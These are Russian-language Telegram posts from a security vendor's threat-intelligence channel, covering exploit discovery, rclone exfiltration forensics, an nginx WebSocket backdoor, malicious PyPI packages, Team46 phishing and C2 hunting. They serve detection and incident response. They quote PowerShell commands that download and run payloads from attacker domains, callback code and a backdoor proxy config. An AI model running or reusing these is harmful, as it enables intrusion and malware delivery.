ESCalator – Telegram
ESCalator
6.52K subscribers
471 photos
1 video
18 files
188 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
🔦 Как мы нашли ITW-эксплойт для CVE-2024-38178

В рамках ежемесячного просмотра свежезапатченных уязвимостей мы в команде ESC-VR обращаем пристальное внимание на уязвимости, помеченные как эксплуатируемые в дикой природе. Такие уязвимости становятся нашей главной целью, особенно если отсутствует какая бы то ни было информация о публичных эксплойтах.

Уязвимость CVE-2024-38178 — это повреждение памяти типа Type Confusion (CWE-843). Говоря по-простому: ситуация, когда область памяти, занимаемая объектом типа A, интерпретируется кодом как объект типа B.

Проанализировав патч, мы обнаружили, что изменения сделаны в функции, отвечающей за оптимизацию работы с массивами, в частности в функции GlobOpt::OptArraySrc. После исправления добавилась обработка ситуации, когда оптимизатор не замечает, что иногда тип переменной может изменяться в runtime.

Если вы следите за деятельностью Google ProjectZero так же активно, как и мы, то вы уже обо всем догадались 😉

Функция GlobOpt::OptArraySrc уже фигурировала в ITW-эксплойте, а именно в посте, описывающем CVE-2022-41128.

В посте есть PoC, который демонстрирует эксплуатацию CVE-2022–41128. Взяв из него ключевые строки, мы провели поиск в публичных и приватных источниках по файлам, загруженным недавно, используя следующие подстроки:

6E6577204F626A656374287B0D0A20
206E657720496E7433324172726179

Мы нашли всего один файл. Он был загружен из KR, и эксплойт, вероятно, использовался в атаках в этой стране, о чем косвенно свидетельствует информация из бюллетени Microsoft.

Прогнав файл в системах с патчем и без него, мы быстро поняли, что это именно то, что мы искали. В связи с большой схожестью с CVE-2022-41128 мы считаем, что и эта уязвимость была найдена через фаззинг, который проводился с использованием PoC для CVE-2022-41128 и CVE-2021-34480.

Эксплойт создает ситуацию, когда JIT-компилятор убежден, что переменная X имеет тип js::TypedArray<int,0>, но на самом деле X содержит значение Y типа js::DynamicObj. Далее эксплойт использует доступ по индексу 4, 11, 12, чтобы модифицировать внутренние поля массива js::JavaScriptNativeArray, находящегося в одном из свойств значения Y. Модифицируемые поля хранят размер массива.

В результате эксплойт дает возможность для доступа за пределы этого массива для того, чтобы получить примитивы на относительную запись и чтение. Дальнейшее описание заняло бы неприлично много места в рамках поста, поэтому stay tunned и happy hunting 🙂

YARA-правило (на файл):


rule exploit_CVE_2024_38178 {
strings:
$a = { 6E6577204F626A656374287B0D0A20 }
$b = { 206E657720496E7433324172726179 }
condition:
all of them
}


IoCs:


SHA256: 736092B71A9686FDE43D3C4ABD941A6774721B90B17D946C9D05AF19C84DF0A4



http://img[.]mobonad[.]com/images/20230912/43


#escvr #itw #jnoscript9 #reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥174👍4👏2💩1🤡1🆒1
😈 Эксфильтрация не по плану

При расследовании инцидентов мы периодически сталкиваемся с эксфильтрацией злоумышленниками данных перед шифрованием инфраструктуры.

Одним из инструментов эксфильтрации может выступать утилита rclone, которая часто используется в связке с MEGA. Хакеры делают выводы и удаляют утилиты после применения.

Тут на помощь приходит журнал USN:


"2024-01-01 00:05:00","rclone.exe","","File_Created","Normal","Archive"...
"2024-01-01 01:01:10","rclone","\Users\<username>\AppData\Roaming\rclone","File_Created","Normal","Directory"...
"2024-01-01 02:01:11","mega.conf","","File_Closed / File_Deleted","Normal","Archive"...
"2024-01-01 02:01:11","rclone.exe","","File_Closed / File_Deleted","Normal","Archive"...


Что полезного мы можем узнать:

факт применения rclone;
дату и время ее использования;
имена файлов (могут быть модифицированы, что является новым индикатором).

🤷‍♂️ Конфиг восстановить не удалось. Что же делать?

В MFT маленькие файлы (несколько сотен байтов) целиком хранятся в соответствующей записи. Учитывая указанную особенность, воспользуемся утилитой MFTECmd с ключом --dr для их восстановления и дальнейшего поиска конфига по паттерну '^(type|pass(word[0-9]?)?) \= '.

Пример содержимого конфигурационного файла:


type = mega
user = evilname@evildomain
pass = qhLeOj9dBRBMCRPptaZA7rghfCkM7b_fsMR0cQ

[mega_crypt]
type = crypt
remote = mega_clear:files
password = v55MNmgFh3qEIfsNA0UtwNaRPYufBOyWNb69pOE
password2 = Ooxh0-uHI2Wb9MrrmPrTgOSsgqUN4QaKwsi0Yt4


Получив информацию об учетной записи, вы можете подать жалобу в MEGA и постараться предотвратить появление данных в публичном доступе.

Бонус

Для распознавания данных в поле pass можно воспользоваться одним из инструментов:

rclone obscure;
песочница Go.

При передаче в облачное хранилище файлы (а также их имена) могут шифроваться. Для решения этой проблемы существует утилита DecodeRclone.

Таким образом, обнаружили:

• факт выгрузки данных;
• время выгрузки;
• учетную запись злодеев;
• перечень утекших данных (для оценки рисков, например);
• аутентификационные данные в «облаке» (для общего развития 🙂).

#tools #detect #tips #dfir
@ptescalator
👍13🔥9👀41
Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂

Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝

В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.

Приятного изучения и happy hunting!

#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
14👍8🔥6🆒2
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍8👏41
Кобальтстрайк или не кобальтстрайк 🤔

Вот в чем вопрос: aaa[.]stage[.]15790461[.]ns1[.]1U1gpUP5i8KbTVCTq9PeakbLHhZk[.]com
Anonymous Poll
44%
Кобальтстрайк
26%
Не кобальтстрайк
30%
Рибблстрайп
🤔8👍4😱32
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱

За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек с ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:


import subprocess
import os
import requests

#I am bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")



import requests
#I am bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")


Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex.

Но странно, что в метаданных PyPI-проекта автор представляется как Thomas Anderson <t.a.neo@yandex.ru>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru

Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»...

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.

🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.

😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool...

Во всех этих пакетах автором указан Yandex <security@yandex-team.ru>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:


class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")


У нас нет подробностей того, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱

To be continued...

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥13👾5🤯42
Страсти опенсорса: часть вторая

Инфостилеры 🧋

Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev подумал: «А что, если...»

И выпустил пакет pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора

1001 мимикрия под requests 😵‍💫

Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания 🐶

Вредоносная нагрузка расположена в __init__.py и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.

Сезон отстуков 🏖

В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.

На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk.

———

А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно 👍

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥147💯7👍3👀2
Атаки группы Team46 😎

Вчера, 4 сентября, исследователи из компании «Доктор Веб» выпустили интересный отчет о несостоявшейся атаке на российского оператора грузовых ж.-д. перевозок.

Нам хотелось бы добавить в этот отчет наши находки и дополнительную информацию о других атаках.

1️⃣ Первая атака

В исходном письме присутствовали два вектора — вредоносное вложение и ссылка на вредоносный архив rabotnik.today/resume/7952235986937661.rar. Отличительной особенностью этой атаки является то, что все используемые домены имеют заглушки, создающие вид его легитимности.

Так домен infosecteam.info принадлежал якобы российской компании InfoSecTeam (см. скриншот 1). Это может создавать видимость того, что файл является не реальной атакой, а пентестом. Страницы сайта явно переведены с помощью машинного перевода.

Шаблон сайта взят из магазина шаблонов (см. скриншот 2). Интересно, что при попытке поиска названия компании в Google первые две строки занимал сайт злоумышленников, а реальная компания из Великобритании — лишь четвертую (см. скриншот 3). На скриншоте также можно увидеть домен cyber46.team с точно таким же содержимым. По этому домену мы и назвали группировку Team46.

Сама атака носила явно массовый характер: мы обнаружили почти 4000 одинаковых ярлыков (с разными идентификаторами жертв) в архивах в открытых папках на infosecteam.info, загруженных туда в течение трех минут (см. скриншот 4).

2️⃣ Вторая атака

В апреле TI-эксперты отдела PT ESC также обнаружили аналогичные вредоносные ярлыки с именами SCAN_4024_2024_04_02.pdf.lnk и SCAN_4251_2024_03_25.pdf.lnk, загружавшие по ссылке srv480138.hstgr.cloud/uploads/scan_3824.pdf другой документ-приманку (см. скриншот 5).

В этой атаке содержимое домена srv480138.hstgr.cloud являлось полной копией сайта elevation.storeбьюти-магазина в ОАЭ. Заглушка совершенно не соотносилась с документом-приманкой, но это может говорить о том, что этот сервер злоумышленники могли также использовать для атак в ОАЭ, но подтверждений не нашлось.

🧐 Если взглянуть на команды ярлыков из двух атак, с помощью которых грузятся следующие стейджи, то можно увидеть определенное сходство:


powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"



powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"


Список сетевых IoC:


rabotnik.today
infosecteam.info
cybers46.team
cybers4646.my.id
srv480138.hstgr.cloud


#TI #hunt #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍43🤝32👏2
C2 hunting: часть 1. Расширяем видимость сетевой инфраструктуры хакеров 😜

Часто при исследовании атаки, анализе TI или DFIR специалист сталкивается с сетевыми индикаторами компрометации (IP-адреса, домены, поддомены, URL-адреса), которые никак не идентифицируются TIP, фидами или сторонними сервисами, однако в рамках исследования являются вредоносными. Что специалист может сделать в этом случае? Прежде всего необходимо расширить область видимости вокруг индикатора.

💡 Расширение видимости — это процесс получения новых, относящихся к атаке или потенциально с нею связанных сетевых индикаторов, которые могут помочь обнаружить связь с уже известным атакующим или ВПО, а также помочь DFIR-команде обнаружить другие скомпрометированные узлы.

Сделать это можно несколькими основными способами:

1. Поиск связей с помощью базовой метаинформации индикатора.
2. Брутфорс поддоменов.
3. Поиск связей по внешним признакам управляющего сервера.
4. Активное сканирование интернета с помощью эмулятора сетевого протокола ВПО.

🤨 Начнем с первого способа.

У каждого типа сетевого индикатора есть своя метаинформация, которая позволяет сузить круг потенциальных кандидатов или найти точное совпадение.

Для IP-адреса это ASN, провайдер.

Для домена — поддомены, WHOIS-информация, DDNS или нет, стилистика написания, время резолва в определенный IP, DNS-записи.

Для URL-адреса — длина, параметры, значения.

Основной системой, которая включает практически все вышеприведенные параметры и позволяет осуществлять по ним поиск, является Passive DNS.

Passive DNS (PDNS) — система, которая хранит историю резолвов доменов в IP-адреса, их DNS-записи, поддомены и историю WHOIS. Правильный PDNS позволяет исследователю искать новые C2 с помощью практически любого вида информации, описанной выше. Например, система позволяет найти все домены:

— которые когда-либо резолвились и резолвятся в определенный IP.
— у которых в MX-записи определенный почтовый сервер.
— у которых в WHOIS-информации определенный номер телефона и т.п.

🏴‍☠️ Давайте рассмотрим пример с группировкой Space Pirates. Ее инфраструктура ранее состояла преимущественно из имен узлов DDNS четвертого уровня. На практике такое встречается достаточно редко, но как раз этот пример идеально подходит для демонстрации поиска новых серверов хакеров.

Возьмем один из серверов, а именно chip.serviechelp.changeip[.]us.

На VT видим резолвы в несколько IP-адресов. Откроем самый первый — 45.32.106[.]247 — и увидим, что на этом IP висит большое количество похожих поддоменов четвертого уровня.

У IP-адреса мы видим ASN (20473) и имя провайдера (AS-CHOOPA), что в будущем поможет точнее исследовать сетевую инфраструктуру группировки. Далее нам необходимо просто собрать весь список индикаторов и для каждого повторить итерацию поиска новых IP и похожих доменов.

😎 Для исходного поддомена можно спуститься на один уровень ниже и найти все поддомены четвертого уровня для поддомена третьего. В этом случае в интерфейсе мы увидим историю резолвов для доменов следующего уровня, что поможет нам сэкономить немного времени в исследовании.

Все эти методы работают для любой другой метаинформации сетевых индикаторов: WHOIS, DNS-записи, ASN, провайдер. Какую-то метаинформацию лучше использовать как ограничитель (например, ASN), так как иначе поиск выдаст слишком много результатов.

По факту в исследовании сетевой инфраструктуры мы имеем дело с графом со множеством ребер и вершин. Однако этот граф конечен. Естественно, такие процессы лучше автоматизировать, так как инфраструктура атакующих может насчитывать тысячи узлов, как, например, у Space Pirates. Но зачастую у одного и того же злоумышленника инфраструктура для разных атак может быть разной и независимой, и ее исследование только по метаинформации будет ограниченным.

Как еще можно искать связанные C2 хакеров, поговорим в следующих постах.

💡Базовый, условно бесплатный тулинг, который поможет в поиске новых C2:

virustotal.com/gui/home/search
securitytrails.com/
whoisxmlapi.com/
whoxy.com/
urlhaus.abuse.ch/
bgp.he.net/
Maltego


#TI #C2 #tips #hunt #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥8👏3